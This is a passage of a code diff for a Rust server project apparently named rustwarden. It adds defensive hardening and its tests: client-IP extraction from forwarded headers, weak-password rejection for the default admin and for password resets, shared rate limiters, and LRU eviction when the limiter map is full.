| 280 | + #[test] | |
| 281 | + fn extract_client_ip_uses_mock_connect_info_without_xff() { | |
| 282 | + let mut request = Request::builder() | |
| 283 | + .uri("/") | |
| 284 | + .body(axum::body::Body::empty()) | |
| 285 | + .expect("request"); | |
| 286 | + request | |
| 287 | + .extensions_mut() | |
| 288 | + .insert(axum::extract::connect_info::MockConnectInfo( | |
| 289 | + std::net::SocketAddr::from(([203, 0, 113, 1], 12345)), | |
| 290 | + )); | |
| 291 | + assert_eq!(extract_client_ip(&request), "203.0.113.1"); | |
| 292 | + } | |
| 293 | + | |
| 294 | + #[test] | |
| 295 | + fn hops_zero_uses_connect_not_xff() { | |
| 296 | + assert_eq!( | |
| 297 | + extract_ip(Some("1.2.3.4"), Some("10.0.0.9".into()), 0), | |
| 298 | + "10.0.0.9" | |
| 299 | + ); | |
| 300 | + } | |
| 301 | + | |
| 302 | + #[test] | |
| 303 | + fn hops_one_takes_rightmost_xff() { | |
| 304 | + assert_eq!( | |
| 305 | + extract_ip(Some("1.2.3.4, 5.6.7.8"), Some("10.0.0.9".into()), 1), | |
| 306 | + "5.6.7.8" | |
| 307 | + ); | |
| 308 | + } | |
| 309 | + | |
| 310 | + #[test] | |
| 311 | + fn hops_two_takes_second_from_right() { | |
| 312 | + assert_eq!( | |
| 313 | + extract_ip( | |
| 314 | + Some("1.2.3.4, 5.6.7.8, 9.9.9.9"), | |
| 315 | + Some("10.0.0.9".into()), | |
| 316 | + 2 | |
| 317 | + ), | |
| 318 | + "5.6.7.8" | |
| 319 | + ); | |
| 320 | + } | |
| 237 | 321 | } |
M
crates/rustwarden-core/src/services/default_admin_service.rs
+66
-0
@@ -64,6 +64,8 @@ pub async fn ensure_default_admin(db: &DatabaseConnection) -> Result<(), AppErro
| 64 | 64 | return Ok(()); |
| 65 | 65 | } |
| 66 | 66 | |
| 67 | + validate_new_admin_credentials(&config, password)?; | |
| 68 | + | |
| 67 | 69 | let password_hash = PasswordService::hash_password(password).await?; |
| 68 | 70 | let user = UserService::create_user( |
| 69 | 71 | db, |
@@ -92,3 +94,67 @@ pub async fn ensure_default_admin(db: &DatabaseConnection) -> Result<(), AppErro
| 92 | 94 | |
| 93 | 95 | Ok(()) |
| 94 | 96 | } |
| 97 | + | |
| 98 | +/// Validates `ADMIN_*` credentials immediately before creating the default admin. | |
| 99 | +/// | |
| 100 | +/// Must be used only on the create path. Skip paths (`CREATE_DEFAULT_ADMIN=false`, | |
| 101 | +/// an admin already exists, or the username exists without the admin role) must not | |
| 102 | +/// call this, so a leftover weak `ADMIN_PASSWORD` in production `.env` does not | |
| 103 | +/// prevent boot. | |
| 104 | +pub(crate) fn validate_new_admin_credentials( | |
| 105 | + config: &AdminConfig, | |
| 106 | + password: &str, | |
| 107 | +) -> Result<(), AppError> { | |
| 108 | + config | |
| 109 | + .validate() | |
| 110 | + .map_err(|e| AppError::Internal(format!("Invalid ADMIN_* config: {e}")))?; | |
| 111 | + crate::middleware::password_complexity::PasswordRules::default() | |
| 112 | + .validate(password) | |
| 113 | + .map_err(|errs| AppError::Validation(errs.join("; ")))?; | |
| 114 | + Ok(()) | |
| 115 | +} | |
| 116 | + | |
| 117 | +#[cfg(test)] | |
| 118 | +mod tests { | |
| 119 | + use super::*; | |
| 120 | + | |
| 121 | + fn config_with_password(password: &str) -> AdminConfig { | |
| 122 | + AdminConfig { | |
| 123 | + username: "admin".into(), | |
| 124 | + email: "admin@localhost".into(), | |
| 125 | + password: Some(password.into()), | |
| 126 | + } | |
| 127 | + } | |
| 128 | + | |
| 129 | + #[test] | |
| 130 | + fn validate_new_admin_credentials_rejects_weak_password() { | |
| 131 | + let password = "password"; | |
| 132 | + let config = config_with_password(password); | |
| 133 | + let err = validate_new_admin_credentials(&config, password) | |
| 134 | + .expect_err("literal password must fail create-path validation"); | |
| 135 | + match err { | |
| 136 | + AppError::Internal(_) | AppError::Validation(_) => {} | |
| 137 | + other => panic!("expected Internal or Validation, got {other:?}"), | |
| 138 | + } | |
| 139 | + } | |
| 140 | + | |
| 141 | + #[test] | |
| 142 | + fn validate_new_admin_credentials_rejects_placeholder() { | |
| 143 | + let password = "REMPLACER_PAR_UN_MOT_DE_PASSE_FORT"; | |
| 144 | + let config = config_with_password(password); | |
| 145 | + let err = validate_new_admin_credentials(&config, password) | |
| 146 | + .expect_err("CLI placeholder must fail create-path validation"); | |
| 147 | + match err { | |
| 148 | + AppError::Internal(_) => {} | |
| 149 | + other => panic!("expected Internal from AdminConfig::validate, got {other:?}"), | |
| 150 | + } | |
| 151 | + } | |
| 152 | + | |
| 153 | + #[test] | |
| 154 | + fn validate_new_admin_credentials_accepts_strong_mixed() { | |
| 155 | + let password = "CorrectHorse1"; | |
| 156 | + let config = config_with_password(password); | |
| 157 | + validate_new_admin_credentials(&config, password) | |
| 158 | + .expect("mixed case plus digit must pass create-path validation"); | |
| 159 | + } | |
| 160 | +} |
M
crates/rustwarden-core/src/services/email_validation_service.rs
+144
-4
@@ -17,12 +17,40 @@ use sea_orm::{
| 17 | 17 | ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, NotSet, QueryFilter, Set, |
| 18 | 18 | }; |
| 19 | 19 | use sha2::{Digest, Sha256}; |
| 20 | +use std::sync::OnceLock; | |
| 21 | +use std::time::Duration as StdDuration; | |
| 20 | 22 | use uuid::Uuid; |
| 21 | 23 | |
| 22 | 24 | /// Default: 3 verification email requests per address per hour. |
| 23 | 25 | const EMAIL_VALIDATION_RATE_LIMIT_MAX: u32 = 3; |
| 24 | -const EMAIL_VALIDATION_RATE_LIMIT_WINDOW: std::time::Duration = | |
| 25 | - std::time::Duration::from_secs(3600); | |
| 26 | +const EMAIL_VALIDATION_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600); | |
| 27 | + | |
| 28 | +/// Process-wide sliding-window limiter for email-validation resends. | |
| 29 | +/// | |
| 30 | +/// Distinct from the password-reset limiter so the two flows keep separate | |
| 31 | +/// budgets. Handlers construct [`EmailValidationService::new`] per request. | |
| 32 | +static EMAIL_VALIDATION_LIMITER: OnceLock<RateLimitService> = OnceLock::new(); | |
| 33 | + | |
| 34 | +/// Return the process-wide email-validation limiter, initializing it once. | |
| 35 | +fn shared_email_validation_limiter() -> RateLimitService { | |
| 36 | + EMAIL_VALIDATION_LIMITER | |
| 37 | + .get_or_init(|| { | |
| 38 | + let limiter = RateLimitService::new(); | |
| 39 | + if let Ok(handle) = tokio::runtime::Handle::try_current() { | |
| 40 | + handle.spawn( | |
| 41 | + limiter | |
| 42 | + .clone() | |
| 43 | + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)), | |
| 44 | + ); | |
| 45 | + } else { | |
| 46 | + tracing::warn!( | |
| 47 | + "email-validation limiter: no tokio runtime, cleanup_loop not started" | |
| 48 | + ); | |
| 49 | + } | |
| 50 | + limiter | |
| 51 | + }) | |
| 52 | + .clone() | |
| 53 | +} | |
| 26 | 54 | |
| 27 | 55 | /// Email validation service |
| 28 | 56 | pub struct EmailValidationService { |
@@ -32,11 +60,23 @@ pub struct EmailValidationService {
| 32 | 60 | } |
| 33 | 61 | |
| 34 | 62 | impl EmailValidationService { |
| 35 | - /// Create a new EmailValidationService | |
| 63 | + /// Create a new EmailValidationService using the process-wide rate limiter. | |
| 36 | 64 | pub fn new(email_config: EmailConfig) -> Self { |
| 37 | 65 | Self { |
| 38 | 66 | email_config, |
| 39 | - rate_limiter: RateLimitService::new(), | |
| 67 | + rate_limiter: shared_email_validation_limiter(), | |
| 68 | + } | |
| 69 | + } | |
| 70 | + | |
| 71 | + /// Build a service around an injected limiter (unit tests; avoids the process [`OnceLock`]). | |
| 72 | + #[cfg(test)] | |
| 73 | + pub(crate) fn new_with_limiter( | |
| 74 | + email_config: EmailConfig, | |
| 75 | + rate_limiter: RateLimitService, | |
| 76 | + ) -> Self { | |
| 77 | + Self { | |
| 78 | + email_config, | |
| 79 | + rate_limiter, | |
| 40 | 80 | } |
| 41 | 81 | } |
| 42 | 82 |
@@ -354,3 +394,103 @@ impl EmailValidationService {
| 354 | 394 | Ok(()) |
| 355 | 395 | } |
| 356 | 396 | } |
| 397 | + | |
| 398 | +#[cfg(test)] | |
| 399 | +mod tests { | |
| 400 | + use super::*; | |
| 401 | + use crate::config::email::EmailConfig; | |
| 402 | + | |
| 403 | + fn dummy_email_config() -> EmailConfig { | |
| 404 | + EmailConfig { | |
| 405 | + smtp_host: "localhost".into(), | |
| 406 | + smtp_port: 587, | |
| 407 | + smtp_user: "u".into(), | |
| 408 | + smtp_password: "p".into(), | |
| 409 | + smtp_from: "from@example.test".into(), | |
| 410 | + smtp_from_name: None, | |
| 411 | + smtp_use_tls: false, | |
| 412 | + smtp_use_starttls: false, | |
| 413 | + smtp_accept_invalid_certs: true, | |
| 414 | + smtp_ca_cert_path: None, | |
| 415 | + queue_batch_size: 10, | |
| 416 | + queue_retry_attempts: 5, | |
| 417 | + queue_retry_delay_seconds: 300, | |
| 418 | + email_base_url: "http://localhost".into(), | |
| 419 | + request_dsn: false, | |
| 420 | + imap_host: None, | |
| 421 | + imap_port: 993, | |
| 422 | + imap_user: None, | |
| 423 | + imap_password: None, | |
| 424 | + imap_use_tls: true, | |
| 425 | + imap_use_starttls: false, | |
| 426 | + imap_accept_invalid_certs: false, | |
| 427 | + imap_ca_cert_path: None, | |
| 428 | + imap_mailbox: "INBOX".into(), | |
| 429 | + imap_poll_interval_seconds: 300, | |
| 430 | + } | |
| 431 | + } | |
| 432 | + | |
| 433 | + #[test] | |
| 434 | + fn new_with_limiter_uses_injected_instance() { | |
| 435 | + let limiter = RateLimitService::new(); | |
| 436 | + let svc = EmailValidationService::new_with_limiter(dummy_email_config(), limiter.clone()); | |
| 437 | + for _ in 0..3 { | |
| 438 | + limiter | |
| 439 | + .check_sliding_window("email_verify:t@x.test", 3, StdDuration::from_secs(3600)) | |
| 440 | + .unwrap(); | |
| 441 | + } | |
| 442 | + assert!( | |
| 443 | + svc.rate_limiter | |
| 444 | + .check_sliding_window("email_verify:t@x.test", 3, StdDuration::from_secs(3600)) | |
| 445 | + .is_err() | |
| 446 | + ); | |
| 447 | + } | |
| 448 | + | |
| 449 | + #[test] | |
| 450 | + fn new_shares_process_wide_limiter() { | |
| 451 | + let a = EmailValidationService::new(dummy_email_config()); | |
| 452 | + let b = EmailValidationService::new(dummy_email_config()); | |
| 453 | + for _ in 0..3 { | |
| 454 | + a.rate_limiter | |
| 455 | + .check_sliding_window( | |
| 456 | + "email_verify:share-oncelock@test", | |
| 457 | + 3, | |
| 458 | + StdDuration::from_secs(3600), | |
| 459 | + ) | |
| 460 | + .unwrap(); | |
| 461 | + } | |
| 462 | + assert!( | |
| 463 | + b.rate_limiter | |
| 464 | + .check_sliding_window( | |
| 465 | + "email_verify:share-oncelock@test", | |
| 466 | + 3, | |
| 467 | + StdDuration::from_secs(3600), | |
| 468 | + ) | |
| 469 | + .is_err() | |
| 470 | + ); | |
| 471 | + } | |
| 472 | + | |
| 473 | + #[test] | |
| 474 | + fn new_with_limiter_is_independent_of_process_lock() { | |
| 475 | + let private = RateLimitService::new(); | |
| 476 | + let svc = EmailValidationService::new_with_limiter(dummy_email_config(), private.clone()); | |
| 477 | + for _ in 0..3 { | |
| 478 | + private | |
| 479 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 480 | + .unwrap(); | |
| 481 | + } | |
| 482 | + assert!( | |
| 483 | + svc.rate_limiter | |
| 484 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 485 | + .is_err() | |
| 486 | + ); | |
| 487 | + | |
| 488 | + let process = EmailValidationService::new(dummy_email_config()); | |
| 489 | + assert!( | |
| 490 | + process | |
| 491 | + .rate_limiter | |
| 492 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 493 | + .is_ok() | |
| 494 | + ); | |
| 495 | + } | |
| 496 | +} |
M
crates/rustwarden-core/src/services/password_reset_service.rs
+207
-3
@@ -19,11 +19,40 @@ use sea_orm::{
| 19 | 19 | ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, NotSet, QueryFilter, Set, |
| 20 | 20 | }; |
| 21 | 21 | use sha2::{Digest, Sha256}; |
| 22 | +use std::sync::OnceLock; | |
| 23 | +use std::time::Duration as StdDuration; | |
| 22 | 24 | use uuid::Uuid; |
| 23 | 25 | |
| 24 | 26 | /// Default: 3 reset requests per email per hour. |
| 25 | 27 | const RESET_RATE_LIMIT_MAX: u32 = 3; |
| 26 | -const RESET_RATE_LIMIT_WINDOW: std::time::Duration = std::time::Duration::from_secs(3600); | |
| 28 | +const RESET_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600); | |
| 29 | + | |
| 30 | +/// Process-wide sliding-window limiter for password-reset emails. | |
| 31 | +/// | |
| 32 | +/// Handlers construct [`PasswordResetService::new`] per request; a fresh | |
| 33 | +/// [`RateLimitService`] on each call would make the throttle inert. | |
| 34 | +static PASSWORD_RESET_LIMITER: OnceLock<RateLimitService> = OnceLock::new(); | |
| 35 | + | |
| 36 | +/// Return the process-wide password-reset limiter, initializing it once. | |
| 37 | +fn shared_password_reset_limiter() -> RateLimitService { | |
| 38 | + PASSWORD_RESET_LIMITER | |
| 39 | + .get_or_init(|| { | |
| 40 | + let limiter = RateLimitService::new(); | |
| 41 | + if let Ok(handle) = tokio::runtime::Handle::try_current() { | |
| 42 | + handle.spawn( | |
| 43 | + limiter | |
| 44 | + .clone() | |
| 45 | + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)), | |
| 46 | + ); | |
| 47 | + } else { | |
| 48 | + tracing::warn!( | |
| 49 | + "password-reset limiter: no tokio runtime, cleanup_loop not started" | |
| 50 | + ); | |
| 51 | + } | |
| 52 | + limiter | |
| 53 | + }) | |
| 54 | + .clone() | |
| 55 | +} | |
| 27 | 56 | |
| 28 | 57 | /// Password reset service |
| 29 | 58 | pub struct PasswordResetService { |
@@ -33,11 +62,23 @@ pub struct PasswordResetService {
| 33 | 62 | } |
| 34 | 63 | |
| 35 | 64 | impl PasswordResetService { |
| 36 | - /// Create a new PasswordResetService | |
| 65 | + /// Create a new PasswordResetService using the process-wide rate limiter. | |
| 37 | 66 | pub fn new(email_config: EmailConfig) -> Self { |
| 38 | 67 | Self { |
| 39 | 68 | email_config, |
| 40 | - rate_limiter: RateLimitService::new(), | |
| 69 | + rate_limiter: shared_password_reset_limiter(), | |
| 70 | + } | |
| 71 | + } | |
| 72 | + | |
| 73 | + /// Build a service around an injected limiter (unit tests; avoids the process [`OnceLock`]). | |
| 74 | + #[cfg(test)] | |
| 75 | + pub(crate) fn new_with_limiter( | |
| 76 | + email_config: EmailConfig, | |
| 77 | + rate_limiter: RateLimitService, | |
| 78 | + ) -> Self { | |
| 79 | + Self { | |
| 80 | + email_config, | |
| 81 | + rate_limiter, | |
| 41 | 82 | } |
| 42 | 83 | } |
| 43 | 84 |
@@ -230,6 +271,10 @@ impl PasswordResetService {
| 230 | 271 | // Validate token |
| 231 | 272 | let user_id = self.validate_token(db, token).await?; |
| 232 | 273 | |
| 274 | + // Reject weak passwords before hashing or consuming the token (M-2). | |
| 275 | + crate::middleware::password_complexity::validate_password_complexity(db, new_password) | |
| 276 | + .await?; | |
| 277 | + | |
| 233 | 278 | // Validate and hash new password |
| 234 | 279 | let password_hash = PasswordService::hash_password(new_password).await?; |
| 235 | 280 |
@@ -303,3 +348,162 @@ impl PasswordResetService {
| 303 | 348 | Ok(()) |
| 304 | 349 | } |
| 305 | 350 | } |
| 351 | + | |
| 352 | +#[cfg(test)] | |
| 353 | +mod tests { | |
| 354 | + use super::*; | |
| 355 | + use crate::config::email::EmailConfig; | |
| 356 | + | |
| 357 | + fn dummy_email_config() -> EmailConfig { | |
| 358 | + EmailConfig { | |
| 359 | + smtp_host: "localhost".into(), | |
| 360 | + smtp_port: 587, | |
| 361 | + smtp_user: "u".into(), | |
| 362 | + smtp_password: "p".into(), | |
| 363 | + smtp_from: "from@example.test".into(), | |
| 364 | + smtp_from_name: None, | |
| 365 | + smtp_use_tls: false, | |
| 366 | + smtp_use_starttls: false, | |
| 367 | + smtp_accept_invalid_certs: true, | |
| 368 | + smtp_ca_cert_path: None, | |
| 369 | + queue_batch_size: 10, | |
| 370 | + queue_retry_attempts: 5, | |
| 371 | + queue_retry_delay_seconds: 300, | |
| 372 | + email_base_url: "http://localhost".into(), | |
| 373 | + request_dsn: false, | |
| 374 | + imap_host: None, | |
| 375 | + imap_port: 993, | |
| 376 | + imap_user: None, | |
| 377 | + imap_password: None, | |
| 378 | + imap_use_tls: true, | |
| 379 | + imap_use_starttls: false, | |
| 380 | + imap_accept_invalid_certs: false, | |
| 381 | + imap_ca_cert_path: None, | |
| 382 | + imap_mailbox: "INBOX".into(), | |
| 383 | + imap_poll_interval_seconds: 300, | |
| 384 | + } | |
| 385 | + } | |
| 386 | + | |
| 387 | + #[test] | |
| 388 | + fn new_with_limiter_uses_injected_instance() { | |
| 389 | + let limiter = RateLimitService::new(); | |
| 390 | + let svc = PasswordResetService::new_with_limiter(dummy_email_config(), limiter.clone()); | |
| 391 | + for _ in 0..3 { | |
| 392 | + limiter | |
| 393 | + .check_sliding_window("pwd_reset:t@x.test", 3, StdDuration::from_secs(3600)) | |
| 394 | + .unwrap(); | |
| 395 | + } | |
| 396 | + assert!( | |
| 397 | + svc.rate_limiter | |
| 398 | + .check_sliding_window("pwd_reset:t@x.test", 3, StdDuration::from_secs(3600)) | |
| 399 | + .is_err() | |
| 400 | + ); | |
| 401 | + } | |
| 402 | + | |
| 403 | + #[test] | |
| 404 | + fn new_shares_process_wide_limiter() { | |
| 405 | + let a = PasswordResetService::new(dummy_email_config()); | |
| 406 | + let b = PasswordResetService::new(dummy_email_config()); | |
| 407 | + for _ in 0..3 { | |
| 408 | + a.rate_limiter | |
| 409 | + .check_sliding_window( | |
| 410 | + "pwd_reset:share-oncelock@test", | |
| 411 | + 3, | |
| 412 | + StdDuration::from_secs(3600), | |
| 413 | + ) | |
| 414 | + .unwrap(); | |
| 415 | + } | |
| 416 | + assert!( | |
| 417 | + b.rate_limiter | |
| 418 | + .check_sliding_window( | |
| 419 | + "pwd_reset:share-oncelock@test", | |
| 420 | + 3, | |
| 421 | + StdDuration::from_secs(3600), | |
| 422 | + ) | |
| 423 | + .is_err() | |
| 424 | + ); | |
| 425 | + } | |
| 426 | + | |
| 427 | + #[test] | |
| 428 | + fn new_with_limiter_is_independent_of_process_lock() { | |
| 429 | + let private = RateLimitService::new(); | |
| 430 | + let svc = PasswordResetService::new_with_limiter(dummy_email_config(), private.clone()); | |
| 431 | + for _ in 0..3 { | |
| 432 | + private | |
| 433 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 434 | + .unwrap(); | |
| 435 | + } | |
| 436 | + assert!( | |
| 437 | + svc.rate_limiter | |
| 438 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 439 | + .is_err() | |
| 440 | + ); | |
| 441 | + | |
| 442 | + let process = PasswordResetService::new(dummy_email_config()); | |
| 443 | + assert!( | |
| 444 | + process | |
| 445 | + .rate_limiter | |
| 446 | + .check_sliding_window("k", 3, StdDuration::from_secs(3600)) | |
| 447 | + .is_ok() | |
| 448 | + ); | |
| 449 | + } | |
| 450 | + | |
| 451 | + fn unused_reset_token(plain: &str, user_id: Uuid) -> password_reset_token::Model { | |
| 452 | + let now = Utc::now(); | |
| 453 | + password_reset_token::Model { | |
| 454 | + id: Uuid::new_v4(), | |
| 455 | + user_id, | |
| 456 | + token_hash: PasswordResetService::hash_token(plain), | |
| 457 | + expires_at: now + Duration::hours(1), | |
| 458 | + used_at: None, | |
| 459 | + created_at: now, | |
| 460 | + } | |
| 461 | + } | |
| 462 | + | |
| 463 | + /// M-2: a rejected password must not mark the reset token used. | |
| 464 | + /// | |
| 465 | + /// MockDatabase cannot re-SELECT `used_at`; absence of UPDATE in the | |
| 466 | + /// transaction log is the equivalent of `used_at IS NULL`. | |
| 467 | + #[tokio::test] | |
| 468 | + async fn reset_password_rejects_weak_password_without_consuming_token() { | |
| 469 | + use crate::models::app_settings; | |
| 470 | + use sea_orm::{DatabaseBackend, MockDatabase}; | |
| 471 | + | |
| 472 | + let plain = "reset-token-plain"; | |
| 473 | + let token_row = unused_reset_token(plain, Uuid::new_v4()); | |
| 474 | + | |
| 475 | + // 1) validate_token SELECT; 2–7) PasswordRules::from_db settings | |
| 476 | + // (missing keys → defaults, which reject `"a"`). | |
| 477 | + let db = MockDatabase::new(DatabaseBackend::Postgres) | |
| 478 | + .append_query_results([vec![token_row]]) | |
| 479 | + .append_query_results([ | |
| 480 | + Vec::<app_settings::Model>::new(), | |
| 481 | + Vec::<app_settings::Model>::new(), | |
| 482 | + Vec::<app_settings::Model>::new(), | |
| 483 | + Vec::<app_settings::Model>::new(), | |
| 484 | + Vec::<app_settings::Model>::new(), | |
| 485 | + Vec::<app_settings::Model>::new(), | |
| 486 | + ]) | |
| 487 | + .into_connection(); | |
| 488 | + | |
| 489 | + let svc = PasswordResetService::new(dummy_email_config()); | |
| 490 | + let err = svc | |
| 491 | + .reset_password(&db, plain, "a") | |
| 492 | + .await | |
| 493 | + .expect_err("weak password must be rejected"); | |
| 494 | + assert!( | |
| 495 | + matches!(err, AppError::Validation(_)), | |
| 496 | + "expected Validation, got {err:?}" | |
| 497 | + ); | |
| 498 | + | |
| 499 | + for txn in db.into_transaction_log() { | |
| 500 | + for stmt in txn.statements() { | |
| 501 | + assert!( | |
| 502 | + !stmt.sql.trim_start().to_ascii_uppercase().starts_with("UPDATE"), | |
| 503 | + "rejected password must not consume the token (used_at stays NULL): {}", | |
| 504 | + stmt.sql | |
| 505 | + ); | |
| 506 | + } | |
| 507 | + } | |
| 508 | + } | |
| 509 | +} |
M
crates/rustwarden-core/src/services/rate_limit_service.rs
+201
-22
@@ -20,8 +20,11 @@
| 20 | 20 | //! |
| 21 | 21 | //! - In-process only. Multi-instance deployments need a shared backend |
| 22 | 22 | //! (Redis) — out of scope for v1. |
| 23 | -//! - Memory-bounded via `MAX_ENTRIES` (dropped if the map grows past the | |
| 24 | -//! cap and the incoming key is unknown). | |
| 23 | +//! - Memory-bounded via `MAX_ENTRIES`. When the map is at cap and the | |
| 24 | +//! incoming key is unknown, the least-recently-used key (oldest | |
| 25 | +//! most-recent timestamp) is evicted so a legitimate new caller is still | |
| 26 | +//! admitted. Unknown keys are never rejected solely because the map is | |
| 27 | +//! full. | |
| 25 | 28 | |
| 26 | 29 | use std::{ |
| 27 | 30 | collections::HashMap, |
@@ -31,7 +34,7 @@ use std::{
| 31 | 34 | |
| 32 | 35 | use crate::error::AppError; |
| 33 | 36 | |
| 34 | -/// Maximum distinct keys tracked before refusing new ones (SEC-M2: memory DoS). | |
| 37 | +/// Maximum distinct keys tracked before LRU-evicting the coldest entry (SEC-M2: memory DoS). | |
| 35 | 38 | const MAX_ENTRIES: usize = 100_000; |
| 36 | 39 | |
| 37 | 40 | /// Per-key counter plus the instant at which the current window opened. |
@@ -79,6 +82,16 @@ impl RateLimitService {
| 79 | 82 | |
| 80 | 83 | /// Check and increment the counter for `key` with a custom window size. |
| 81 | 84 | pub fn check_window(&self, key: &str, max: u32, window: Duration) -> Result<(), AppError> { |
| 85 | + self.check_window_capped(key, max, window, MAX_ENTRIES) | |
| 86 | + } | |
| 87 | + | |
| 88 | + fn check_window_capped( | |
| 89 | + &self, | |
| 90 | + key: &str, | |
| 91 | + max: u32, | |
| 92 | + window: Duration, | |
| 93 | + cap: usize, | |
| 94 | + ) -> Result<(), AppError> { | |
| 82 | 95 | let now = Instant::now(); |
| 83 | 96 | let mut buckets = self |
| 84 | 97 | .buckets |
@@ -88,15 +101,15 @@ impl RateLimitService {
| 88 | 101 | // Drop expired entries so the map stays bounded on low-traffic keys. |
| 89 | 102 | buckets.retain(|_, w| now.duration_since(w.window_start) < window); |
| 90 | 103 | |
| 91 | - if buckets.len() >= MAX_ENTRIES && !buckets.contains_key(key) { | |
| 92 | - tracing::warn!( | |
| 93 | - entries = buckets.len(), | |
| 94 | - cap = MAX_ENTRIES, | |
| 95 | - "rate limiter map full, rejecting new key" | |
| 96 | - ); | |
| 97 | - return Err(AppError::TooManyRequests { | |
| 98 | - retry_after_secs: window.as_secs(), | |
| 99 | - }); | |
| 104 | + if !buckets.contains_key(key) { | |
| 105 | + if buckets.len() >= cap { | |
| 106 | + tracing::warn!( | |
| 107 | + entries = buckets.len(), | |
| 108 | + cap, | |
| 109 | + "rate limiter map full, evicting oldest window" | |
| 110 | + ); | |
| 111 | + } | |
| 112 | + evict_fixed_if_full(&mut buckets, cap); | |
| 100 | 113 | } |
| 101 | 114 | |
| 102 | 115 | let w = buckets.entry(key.to_string()).or_insert(WindowCounter { |
@@ -142,22 +155,31 @@ impl RateLimitService {
| 142 | 155 | max: u32, |
| 143 | 156 | window: Duration, |
| 144 | 157 | ) -> Result<(), AppError> { |
| 158 | + self.check_sliding_window_capped(key, max, window, MAX_ENTRIES) | |
| 159 | + } | |
| 160 | + | |
| 161 | + fn check_sliding_window_capped( | |
| 162 | + &self, | |
| 163 | + key: &str, | |
| 164 | + max: u32, | |
| 165 | + window: Duration, | |
| 166 | + cap: usize, | |
| 167 | + ) -> Result<(), AppError> { | |
| 145 | 168 | let now = Instant::now(); |
| 146 | 169 | let mut sliding = self |
| 147 | 170 | .sliding |
| 148 | 171 | .lock() |
| 149 | 172 | .map_err(|_| AppError::Internal("rate limiter mutex poisoned".into()))?; |
| 150 | 173 | |
| 151 | - // Size guard before insertion of a new key. | |
| 152 | - if sliding.len() >= MAX_ENTRIES && !sliding.contains_key(key) { | |
| 153 | - tracing::warn!( | |
| 154 | - entries = sliding.len(), | |
| 155 | - cap = MAX_ENTRIES, | |
| 156 | - "sliding rate limiter map full, rejecting new key" | |
| 157 | - ); | |
| 158 | - return Err(AppError::TooManyRequests { | |
| 159 | - retry_after_secs: window.as_secs(), | |
| 160 | - }); | |
| 174 | + if !sliding.contains_key(key) { | |
| 175 | + if sliding.len() >= cap { | |
| 176 | + tracing::warn!( | |
| 177 | + entries = sliding.len(), | |
| 178 | + cap, | |
| 179 | + "sliding rate limiter map full, evicting least-recently-used key" | |
| 180 | + ); | |
| 181 | + } | |
| 182 | + evict_if_full(&mut sliding, cap, now); | |
| 161 | 183 | } |
| 162 | 184 | |
| 163 | 185 | let attempts = sliding.entry(key.to_string()).or_default(); |
@@ -222,6 +244,39 @@ impl RateLimitService {
| 222 | 244 | } |
| 223 | 245 | } |
| 224 | 246 | |
| 247 | +/// Evict the sliding-window key whose most recent timestamp is the oldest | |
| 248 | +/// (approximate LRU) when `sliding` is at `cap`. | |
| 249 | +/// | |
| 250 | +/// No-op when the map is under capacity. Empty timestamp lists are treated as | |
| 251 | +/// "just seen" (`now`) so they are not preferred for eviction. | |
| 252 | +fn evict_if_full(sliding: &mut HashMap<String, Vec<Instant>>, cap: usize, now: Instant) { | |
| 253 | + if sliding.len() < cap { | |
| 254 | + return; | |
| 255 | + } | |
| 256 | + if let Some(oldest) = sliding | |
| 257 | + .iter() | |
| 258 | + .min_by_key(|(_, v)| v.last().copied().unwrap_or(now)) | |
| 259 | + .map(|(k, _)| k.clone()) | |
| 260 | + { | |
| 261 | + sliding.remove(&oldest); | |
| 262 | + } | |
| 263 | +} | |
| 264 | + | |
| 265 | +/// Evict the fixed-window key with the oldest `window_start` when `buckets` | |
| 266 | +/// is at `cap`. No-op when under capacity. | |
| 267 | +fn evict_fixed_if_full(buckets: &mut HashMap<String, WindowCounter>, cap: usize) { | |
| 268 | + if buckets.len() < cap { | |
| 269 | + return; | |
| 270 | + } | |
| 271 | + if let Some(oldest) = buckets | |
| 272 | + .iter() | |
| 273 | + .min_by_key(|(_, w)| w.window_start) | |
| 274 | + .map(|(k, _)| k.clone()) | |
| 275 | + { | |
| 276 | + buckets.remove(&oldest); | |
| 277 | + } | |
| 278 | +} | |
| 279 | + | |
| 225 | 280 | #[cfg(test)] |
| 226 | 281 | mod tests { |
| 227 | 282 | use super::*; |
@@ -314,4 +369,128 @@ mod tests {
| 314 | 369 | assert!(a.check("k", 4).is_err()); |
| 315 | 370 | assert!(b.check_window("k", 4, Duration::from_secs(60)).is_err()); |
| 316 | 371 | } |
| 372 | + | |
| 373 | + #[test] | |
| 374 | + fn cloned_limiters_share_buckets() { | |
| 375 | + let a = RateLimitService::new(); | |
| 376 | + let b = a.clone(); | |
| 377 | + for _ in 0..3 { | |
| 378 | + a.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600)) | |
| 379 | + .unwrap(); | |
| 380 | + } | |
| 381 | + assert!( | |
| 382 | + b.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600)) | |
| 383 | + .is_err() | |
| 384 | + ); | |
| 385 | + } | |
| 386 | + | |
| 387 | + #[test] | |
| 388 | + fn independent_new_does_not_share() { | |
| 389 | + let a = RateLimitService::new(); | |
| 390 | + let b = RateLimitService::new(); | |
| 391 | + for _ in 0..3 { | |
| 392 | + a.check_sliding_window("k", 3, Duration::from_secs(3600)) | |
| 393 | + .unwrap(); | |
| 394 | + } | |
| 395 | + assert!( | |
| 396 | + b.check_sliding_window("k", 3, Duration::from_secs(3600)) | |
| 397 | + .is_ok() | |
| 398 | + ); | |
| 399 | + } | |
| 400 | + | |
| 401 | + #[test] | |
| 402 | + fn evict_if_full_is_noop_under_cap() { | |
| 403 | + let now = Instant::now(); | |
| 404 | + let mut sliding = HashMap::new(); | |
| 405 | + sliding.insert("a".into(), vec![now]); | |
| 406 | + evict_if_full(&mut sliding, 8, now); | |
| 407 | + assert_eq!(sliding.len(), 1); | |
